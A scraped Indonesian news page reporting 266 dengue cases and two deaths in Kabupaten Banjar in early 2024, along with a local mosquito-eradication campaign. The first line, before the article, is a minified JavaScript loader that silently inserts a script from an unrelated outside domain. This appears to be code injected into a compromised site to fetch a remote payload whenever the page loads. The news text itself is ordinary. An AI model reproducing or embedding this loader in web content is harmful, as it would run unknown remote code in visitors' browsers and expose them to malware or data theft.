(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Dinas Kesehatan Kabupaten Banjar mencatat ada 266 kasus demam berdarah dengue (DBD) di Kabupaten Banjar selama Januari – Februari 2024 ini, dua di antaranya meninggal dunia.
Berdasarkan data yang diperoleh pada 2024 lanjut Yasna, total kasus DBD di Kabupaten Banjar sedikitnya 266 selama 2 bulan ini.
Menurut Kepala Dinas Kesehatan Kabupaten Banjar, drg Yasna Khairina, pada Januari lalu sebanyak 193 kasus dan Februari 73 kasus.
Baca juga: Beredar Nama Pemenang 30 Kursi Wakil Rakyat Banjarbaru, Tunggu Hasil Resmi KPU!
“Kasus meninggal dunia sedikitnya dua orang salah. Satunya warga di Kecamatan Martapura Timur,” rinci Yasna.
Meninggalnya dua orang tersebut, lanjut dia, murni bukan karena penyakit DBD tetapi memang ada riwayat penyakit penyerta lainnya yang ada pada tubuh pasien.
Guna mengantisipasi meningkatnya penyebaran kasus Demam Berdarah Dengue (DBD) Pemerintah Kabupaten Banjar melalui Dinas Kesehatan (Dinkes) melaunching Hari Gerakan Serentak Pemberantasan Sarang Nyamuk (Gertak PSN) di Pendopo Desa Cindaialus, Kecamatan Martapura, Selasa (20/2/2024) pagi.
Baca juga: Terima Kunjungan BPKP Perwakilan Kalsel, Ini Harapan Bupati Banjar
Pemkab Banjar telah mengambil langkah konkret serta proaktif dalam mencegah dan memberantas sarang nyamuk, salah satunya dengan melakukan pengecekan di rumah-rumah warga dan menguras air yang menggenang, guna memberantas tempat berkembang biaknya nyamuk aedes aegypti.
Usai kegiatan, Kadinkes Banjar Yasna Khairina menyampaikan, kegiatan Gertak PSN dilaksanakan menyeluruh di wilayah Kabupaten Banjar, untuk memutus mata rantai DBD agar tidak meningkat.
Pemberantasan ini menurut dia, akan dilakukan setiap satu pekan sekali melibatkan masyarakat secara langsung.
Baca juga: Caleg PKS di Banjarmasin Ditusuk, Diduga Ada Motif Politik
“Disamping itu, kami juga menyerahkan tanaman untuk mengusir nyamuk, seperti sereh dan bunga lavender, juga ada obat untuk membunuh jentik nyamuk,” katanya.
Yasna berharap kegiatan ini dapat meningkatkan kesadaran masyarakat dan menciptakan lingkungan yang sehat, aman juga nyaman. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More
KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More
This website uses cookies.